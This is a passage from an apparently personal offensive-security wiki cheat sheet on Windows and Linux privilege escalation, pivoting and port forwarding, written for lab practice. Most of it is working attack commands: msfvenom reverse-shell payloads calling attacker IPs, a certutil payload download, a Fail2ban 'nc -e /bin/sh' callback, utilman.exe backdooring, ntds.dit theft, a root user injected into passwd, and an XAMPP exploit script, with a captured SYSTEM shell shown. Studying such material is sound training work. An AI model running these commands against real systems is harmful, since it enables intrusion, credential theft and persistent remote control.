[https://github.com/bugch3ck/SharpEfsPotato bugch3ck/SharpEfsPotato: Local privilege escalation from SeImpersonatePrivilege using EfsRpc. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a &amp;quot;whoami | Set-Content C:\temp\w.log&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== PrintSpoofer =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/dievus/printspoofer https://github.com/dievus/printspoofer]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# PrintSpoofer exploit that can be used to escalate service user permissions on Windows Server 2016, Server 2019, and Windows 10.&lt;br /&gt;
# To escalate privileges, the service account must have SeImpersonate privileges. To execute:&lt;br /&gt;
PrintSpoofer.exe -i -c cmd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Se-privileges ====&lt;br /&gt;
&lt;br /&gt;
===== Great list and explanation =====&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System][https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf Download]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This ppt will explain how to exploit different SePrivileges&lt;br /&gt;
https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeManageVolume =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xct/SeManageVolumeAbuse&lt;br /&gt;
https://0xdf.gitlab.io/2021/11/08/htb-pivotapi-more.html#sebackupvolume&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeLoadDriverPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup for PG Fuse&lt;br /&gt;
# It allows the user to load kernel drivers and execute code with kernel privilges aka NT\System&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeRestorePrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# SeRestorePrivilege privilege allows a user to circumvent file and directory permissions when restoring backed up files and directories, thus giving the user read and write access to system files.&lt;br /&gt;
# See PG Heist writeup&lt;br /&gt;
# This script Enables SeRestorePrivilege for our current (powershell/ise) session.&lt;br /&gt;
https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1&lt;br /&gt;
# You can modify services, DLL Hijacking, set debugger (Image File Execution Options)… A lot of options to escalate.&lt;br /&gt;
# Example of ways to escalate privilege&lt;br /&gt;
# Utilman.exe. This application is triggered by issuing the WIN + U in windows lockscreen&lt;br /&gt;
move C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.old&lt;br /&gt;
move C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe&lt;br /&gt;
# Now RDP to target without logging in. Then press win+u&lt;br /&gt;
rdesktop 192.168.153.165&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-11-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
===== SeBackupPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# SeBackUpPrivilege basically allows for full system read.&lt;br /&gt;
# See if user is member of &#039;Backup Operator&#039;.&lt;br /&gt;
# https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf&lt;br /&gt;
# https://github.com/giuliano108/SeBackupPrivilege&lt;br /&gt;
# Example 1&lt;br /&gt;
PS C:\scripts&amp;gt; Import-Module .\SeBackupPrivilegeUtils.dll&lt;br /&gt;
PS C:\scripts&amp;gt; Import-Module .\SeBackupPrivilegeCmdLets.dll&lt;br /&gt;
PS C:\scripts&amp;gt; Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup&lt;br /&gt;
SeBackupPrivilege is disabled&lt;br /&gt;
PS C:\scripts&amp;gt; dir E:\V_BASE&lt;br /&gt;
Get-ChildItem : Access to the path &#039;E:\V_BASE&#039; is denied.&lt;br /&gt;
At line:1 char:4&lt;br /&gt;
+ dir  Set-SeBackupPrivilege&lt;br /&gt;
PS C:\scripts&amp;gt; Get-SeBackupPrivilege&lt;br /&gt;
SeBackupPrivilege is enabled&lt;br /&gt;
PS C:\scripts&amp;gt; dir E:\V_BASE # ...having enabled the privilege, this now works&lt;br /&gt;
&lt;br /&gt;
    Directory: E:\V_BASE&lt;br /&gt;
&lt;br /&gt;
Mode                LastWriteTime     Length Name&lt;br /&gt;
----                -------------     ------ ----&lt;br /&gt;
d----        18/07/2013     13:04            Private&lt;br /&gt;
PS C:\scripts&amp;gt; cd E:\V_BASE\Private&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt; dir&lt;br /&gt;
&lt;br /&gt;
    Directory: E:\V_BASE\Private&lt;br /&gt;
&lt;br /&gt;
Mode                LastWriteTime     Length Name&lt;br /&gt;
----                -------------     ------ ----&lt;br /&gt;
-----        05/07/2013     12:29     306435 report.pdf&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt; Copy-FileSeBackupPrivilege .\report.pdf c:\temp\x.pdf -Overwrite&lt;br /&gt;
Copied 306435 bytes&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt;&lt;br /&gt;
&lt;br /&gt;
-------------------&lt;br /&gt;
# Example 2&lt;br /&gt;
Copy-FileSeBackupPrivilege netlogon.dns \programdata\netlogon.dns&lt;br /&gt;
Copy-FileSeBackupPrivilege C:\Windows\ntds\ntds.dit .&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeCreateTokenPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.greyhathacker.net/?p=1025&lt;br /&gt;
Try running it many times&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SMBGhost ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CVE-2020-0796&lt;br /&gt;
# https://github.com/danigargu/CVE-2020-0796&lt;br /&gt;
# Compile it with Visual Studios. Change payload in exploit.cpp line 204 and add msfvenom payload&lt;br /&gt;
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.49.60 LPORT=8081 -f dll -f csharp&lt;br /&gt;
# Compile it. Change &#039;debug&#039; to &#039;release&#039;, set correct architecture.&lt;br /&gt;
# Transfer to target&lt;br /&gt;
.\cve-2020-0796.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Software ====&lt;br /&gt;
&lt;br /&gt;
===== Iperius Backup 6.1.0 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/46863&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SystemScheduler =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/45072&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Unquoted Service Path ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In order to exploit Unquoted service path we have to:&lt;br /&gt;
# - Be able to write to the target folder - Use icacls&lt;br /&gt;
# - Be able to restart the service or machine&lt;br /&gt;
# Exmaple (10.1.1.89)&lt;br /&gt;
icacls enterprisesystemmanager.exe # We have modify permissions&lt;br /&gt;
# Generate a payload&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.130 LPORT=443 -f exe &amp;gt; enterprisesystemmanager.exe&lt;br /&gt;
# Move original .exe to .bak&lt;br /&gt;
 move enterprisesystemmanager.exe enterprisesystemmanger.exe.bak&lt;br /&gt;
# Transfer our payload to target location - C:\exacqVisionEsm\EnterpriseSystemManager&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://192.168.119.130/enterprisesystemmanager.exe&amp;quot;&lt;br /&gt;
# Catche the connection&lt;br /&gt;
rlwrap nc -lvnp 443                                                                                                                                  1 ⨯&lt;br /&gt;
listening on [any] 443 ...&lt;br /&gt;
connect to [192.168.119.130] from (UNKNOWN) [10.11.1.251] 19085&lt;br /&gt;
Microsoft Windows [Version 10.0.15063]&lt;br /&gt;
(c) 2017 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt;whoami&lt;br /&gt;
whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows XP SP0/SP1 - UPNP service exploit ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://sohvaxus.github.io/content/winxp-sp1-privesc.html&lt;br /&gt;
# Requirenment: Obtained a low privilege shell on your victim&#039;s computer. Operating system is Windows XP with SP0 or SP1 installed.&lt;br /&gt;
# See write up for PWK 10.11.1.14.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows Exploit Suggester ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
python2 windows-exploit-suggester.py --systeminfo sys.txt -d 2022-01-14-mssb.xls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows Kernel Exploit list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/SecWiki/windows-kernel-exploits&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== xampp 7.3 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/monster]&lt;br /&gt;
└─# cat exploit.ps1&lt;br /&gt;
# Exploit Title: XAMPP 7.4.3 - Local Privilege Escalation&lt;br /&gt;
# Exploit Author: Salman Asad (@LeoBreaker1411 / deathflash1411)&lt;br /&gt;
# Original Author: Maximilian Barz (@S1lkys)&lt;br /&gt;
# Date: 27/09/2021&lt;br /&gt;
# Vendor Homepage: https://www.apachefriends.org&lt;br /&gt;
# Version: XAMPP &amp;lt; 7.2.29, 7.3.x &amp;lt; 7.3.16 &amp;amp; 7.4.x &amp;lt; 7.4.4&lt;br /&gt;
# Tested on: Windows 10 + XAMPP 7.3.10&lt;br /&gt;
# References: https://github.com/S1lkys/CVE-2020-11107&lt;br /&gt;
$file = &amp;quot;C:\xampp\xampp-control.ini&amp;quot;&lt;br /&gt;
$find = ((Get-Content $file)[2] -Split &amp;quot;=&amp;quot;)[1]&lt;br /&gt;
# Insert your payload path here&lt;br /&gt;
$replace = &amp;quot;C:\Users\Mike\Downloads\rev.exe&amp;quot;&lt;br /&gt;
(Get-Content $file) -replace $find, $replace | Set-Content $fil&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
==== CVE ====&lt;br /&gt;
&lt;br /&gt;
===== CVE-2009-2698 (Centos 4.8) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xiaoxiaoleo/CVE-2009-2698&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== CVE-2021-4034 (polkit) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/joeammond/CVE-2021-4034&lt;br /&gt;
# Check suid and see if /usr/bin/pkexec is present and python&lt;br /&gt;
# Then compile and run&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== CVE-2023–22809 (bypass sudo) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Fail2ban ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See PG Fail writeup&lt;br /&gt;
# Example reverse shell&lt;br /&gt;
# Option:  actionban&lt;br /&gt;
# Notes.:  command executed when banning an IP. Take care that the&lt;br /&gt;
#          command is executed with Fail2Ban user rights.&lt;br /&gt;
# Tags:    See jail.conf(5) man page&lt;br /&gt;
# Values:  CMD&lt;br /&gt;
#&lt;br /&gt;
#actionban =  -I f2b- 1 -s  -j&lt;br /&gt;
actionban = /usr/bin/nc -e /bin/sh 192.168.49.243 9999&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Linux Kernel exploits ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux versions&lt;br /&gt;
# 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36&lt;br /&gt;
https://www.exploit-db.com/exploits/15285&lt;br /&gt;
# Linux Kernel &amp;lt; 4.4.0-116 (Ubuntu 16.04.4)&lt;br /&gt;
https://www.exploit-db.com/exploits/44298&lt;br /&gt;
# Linux Kernel &amp;lt; 4.13.9 (Ubuntu 16.04 / Fedora 27)&lt;br /&gt;
https://www.exploit-db.com/exploits/45010&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ld_reload - Dynamic library hijacking ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If binary is missing a library AND you have write permission to library location, you can hijack the library by adding a malicous one&lt;br /&gt;
# List Dynamic Dependencies = ldd&lt;br /&gt;
# Ldd is a powerful command-line tool that allows users to view an executable file&#039;s shared object dependencies.&lt;br /&gt;
ldd /usr/bin/log-sweeper&lt;br /&gt;
        linux-vdso.so.1 =&amp;gt;  (0x00007ffe11833000)&lt;br /&gt;
        utils.so =&amp;gt; not found&lt;br /&gt;
        libc.so.6 =&amp;gt; /lib64/libc.so.6 (0x00007f6ce440c000)&lt;br /&gt;
        /lib64/ld-linux-x86-64.so.2 (0x00007f6ce47da000)&lt;br /&gt;
# Generate .so payload&lt;br /&gt;
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.160 LPORT=21 -f elf-so &amp;gt; utils.so&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SUID ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
find / -perm -u=s -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Setuid Screen 4.5.0 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/41154&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sudo ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/saleemrashid/sudo-cve-2019-18634 https://github.com/saleemrashid/sudo-cve-2019-18634]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit]&lt;br /&gt;
&lt;br /&gt;
==== Systemctl (Misconfigured Permissions — sudo/SUID) ====&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49 https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium][https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Download]&lt;br /&gt;
&lt;br /&gt;
==== Sudo permission to run apache restart ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If your user have these permissions&lt;br /&gt;
(root) NOPASSWD: /usr/sbin/service apache2 restart&lt;br /&gt;
# First check what file you have write permission to.&lt;br /&gt;
# If not, check if there are any bash scripts that can be edited and place a backdoor in it.&lt;br /&gt;
# Example&lt;br /&gt;
# envvars in /etc/apache2 is writeable.&lt;br /&gt;
# Change to another user if there are any on the machine&lt;br /&gt;
export APACHE_RUN_USER=DifferentUser&lt;br /&gt;
# REMEMBER, APACHE WONT LET YOU RUN IT AS ROOT.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Software ====&lt;br /&gt;
&lt;br /&gt;
===== Exim 4.84-3 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/39535&lt;br /&gt;
# If error, fix with&lt;br /&gt;
sed -i -e &#039;s/\r$//&#039; 39535.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== OpenSMTPD 6.4.0 &amp;lt; 6.6.1 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/48051&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Writeable passwd ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate hashed password&lt;br /&gt;
openssl passwd  -1 -salt aghanim pass123&lt;br /&gt;
# Add to passwd on target&lt;br /&gt;
aghanim:$1$aghanim$VVrajbhbmkAgYcpIGLIuY1:0:0:root:/root:/bin/bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Pivoting/tunneling technique ==&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?p=2294 https://blog.aghanim.net/?p=2294]&lt;br /&gt;
&lt;br /&gt;
[https://trojand.com/cheatsheet/Network/Connections/SSH_Tunneling.html SSH Tunneling + SSHuttle and Chisel - Cheatsheet (trojand.com)]&lt;br /&gt;
&lt;br /&gt;
[https://cheatsheet.haax.fr/network/pivot_techniques/ Offensive Security Cheatsheet (haax.fr)]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/twelvesec/port-forwarding GitHub - twelvesec/port-forwarding: Tunneling and Port Forwarding Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
=== Chisel ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CHISEL AND PROXYCHAINS AND FOXYPROXY&lt;br /&gt;
# Using Chisel to make a proxy. Notice that the proxy port opens on 1080, rather than listening port (37777).&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 37777 --reverse&lt;br /&gt;
# Target machine&lt;br /&gt;
./chisel client Attacker-IP:37777 R:socks&lt;br /&gt;
# Now in Proxychain config file /etc/proxychains4.conf add the proxy port&lt;br /&gt;
[ProxyList]&lt;br /&gt;
# add proxy here ...&lt;br /&gt;
# meanwile&lt;br /&gt;
# defaults set to &amp;quot;tor&amp;quot;&lt;br /&gt;
socks5  127.0.0.1 1080&lt;br /&gt;
# Now when you run can reach other target on the network using proxychains. So it looks like this Attacker machine --SOCKS proxy --&amp;gt; 10.200.57.200 on port 1080 --&amp;gt; 10.200.57.150 (Unreachable from attacker).&lt;br /&gt;
proxychains nc -vn 10.200.57.150 3389&lt;br /&gt;
# Or in the case of the THM box Wreath. If I want to run the GitStack exploit from my attacker to 10.200.57.150 (Which is unreachable withouth proxy or tunnel).&lt;br /&gt;
proxychains python2 exploit.py.&lt;br /&gt;
# OR by using foxy proxy if I want to access http.&lt;br /&gt;
# Add a new proxy. Proxy type = SOCKS5 (chisel uses socks5), IP = 127.0.0.1, Port = Proxy prot (1080).&lt;br /&gt;
# And start foxy proxy. Now I can access the webserver on.&lt;br /&gt;
# I can also use proxychains to access HTTP.&lt;br /&gt;
proxychains firefox.&lt;br /&gt;
# This will open firefox through proxychains.&lt;br /&gt;
&lt;br /&gt;
# Using SOCKS5 with chisel&lt;br /&gt;
./chisel server -v -p 8000 --socks5&lt;br /&gt;
# On the client/target/victim machine&lt;br /&gt;
chisel.exe client -v attacker.com:8000 socks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ligolo-ng ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nicocha30/ligolo-ng https://github.com/nicocha30/ligolo-ng]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#### LINUX&lt;br /&gt;
# Prepare tunnel&lt;br /&gt;
sudo ip tuntap add user $(whoami) mode tun ligolo&lt;br /&gt;
sudo ip link set ligolo up&lt;br /&gt;
# Start proxy on kali&lt;br /&gt;
./proxy -laddr 192.168.45.195:53 -selfcert&lt;br /&gt;
# On target&lt;br /&gt;
./agent -connect 192.168.45.195:53 -ignore-cert&lt;br /&gt;
# See session in ligolo proxy&lt;br /&gt;
ligolo-ng» session&lt;br /&gt;
# Add pivot to internal network on kali&lt;br /&gt;
sudo ip r add 172.16.213.0/24 dev ligolo&lt;br /&gt;
# Check ip route&lt;br /&gt;
ip route&lt;br /&gt;
default via 10.0.2.2 dev eth0 proto dhcp src 10.0.2.15 metric 100&lt;br /&gt;
10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 metric 100&lt;br /&gt;
172.16.213.0/24 dev ligolo scope link&lt;br /&gt;
192.168.45.0/24 dev tun0 proto kernel scope link src 192.168.45.195&lt;br /&gt;
192.168.213.0/24 via 192.168.45.254 dev tun0&lt;br /&gt;
&lt;br /&gt;
# In ligolo - in correct session&lt;br /&gt;
[Agent: user@target] » start&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#### WINDOWS&lt;br /&gt;
# To set up the Ligolo-ng proxy on a Windows machine, follow these steps:&lt;br /&gt;
# Download Ligolo-ng Proxy:&lt;br /&gt;
# Visit the Ligolo-ng GitHub Releases page and download the latest proxy.exe suitable for your Windows architecture.&lt;br /&gt;
# Install Wintun Driver:&lt;br /&gt;
# Ligolo-ng requires the Wintun driver to create a TUN interface on Windows.&lt;br /&gt;
# Download the appropriate wintun.dll from the Wintun repository.&lt;br /&gt;
# Place the wintun.dll file in the same directory as proxy.exe.&lt;br /&gt;
# Run the Proxy:&lt;br /&gt;
# Open Command Prompt and navigate to the directory containing proxy.exe and wintun.dll.&lt;br /&gt;
# Execute the proxy with a self-signed certificate:&lt;br /&gt;
proxy.exe -selfcert&lt;br /&gt;
# This command starts the proxy server with a self-signed TLS certificate.&lt;br /&gt;
# Configure the Agent:&lt;br /&gt;
# On the target machine, download the corresponding agent binary from the Ligolo-ng GitHub Releases page.&lt;br /&gt;
# Run the agent, specifying the IP address and port of your Windows machine running the proxy:&lt;br /&gt;
agent.exe -connect :11601 -ignore-cert&lt;br /&gt;
# Replace  with the actual IP address of your proxy machine.&lt;br /&gt;
# Manage Sessions:&lt;br /&gt;
# In the proxy&#039;s command interface, use the session command to list active sessions.&lt;br /&gt;
# Select the desired session to interact with the connected agent.&lt;br /&gt;
# Start Tunneling:&lt;br /&gt;
# Within the selected session, initiate the tunnel:&lt;br /&gt;
tunnel_start --tun&lt;br /&gt;
# Replace  with your chosen name for the TUN interface.&lt;br /&gt;
# Set Up Routing:&lt;br /&gt;
# Determine the network configuration of the agent using the ifconfig command within the session.&lt;br /&gt;
# On your Windows proxy machine, add routes to access the target network:&lt;br /&gt;
route add  mask&lt;br /&gt;
# Replace , , and  with the appropriate values based on the agent&#039;s network configuration.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== meterpreter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use autoroute module to create a pivot for the other network&lt;br /&gt;
use post/multi/manage/autoroute&lt;br /&gt;
set SUBNET 192.72.180.0&lt;br /&gt;
set SESSION 2&lt;br /&gt;
exploit&lt;br /&gt;
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.&lt;br /&gt;
use auxiliary/server/socks_proxy # Or try socks5&lt;br /&gt;
show options&lt;br /&gt;
set SRVPORT 9050&lt;br /&gt;
exploit&lt;br /&gt;
# Now you can use proxychains&lt;br /&gt;
# DISCOVER OTHER HOSTS ON THE NETWORK&lt;br /&gt;
# On windows you can use post/windows/gather/arp_scanner to discover other machines&lt;br /&gt;
# On Linux you can try arp -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -D 1337 user@172.16.0.5 -fN&lt;br /&gt;
# Now use proxychains&lt;br /&gt;
# If you want to nmap without proxychains&lt;br /&gt;
nmap -sS 1.2.3.4 --proxy 127.0.0.1:1080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== sshuttle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Synopsis&lt;br /&gt;
sshuttle [options] -r [username@]sshserver[:port]&lt;br /&gt;
# Example&lt;br /&gt;
sshuttle -r linux-admin@10.200.122.33 10.200.122.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Port Forwarding techniques ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Windows&lt;br /&gt;
plink.exe -l root -R 445:127.0.0.1:445 YOURIPADDRESS&lt;br /&gt;
# Metasploit&lt;br /&gt;
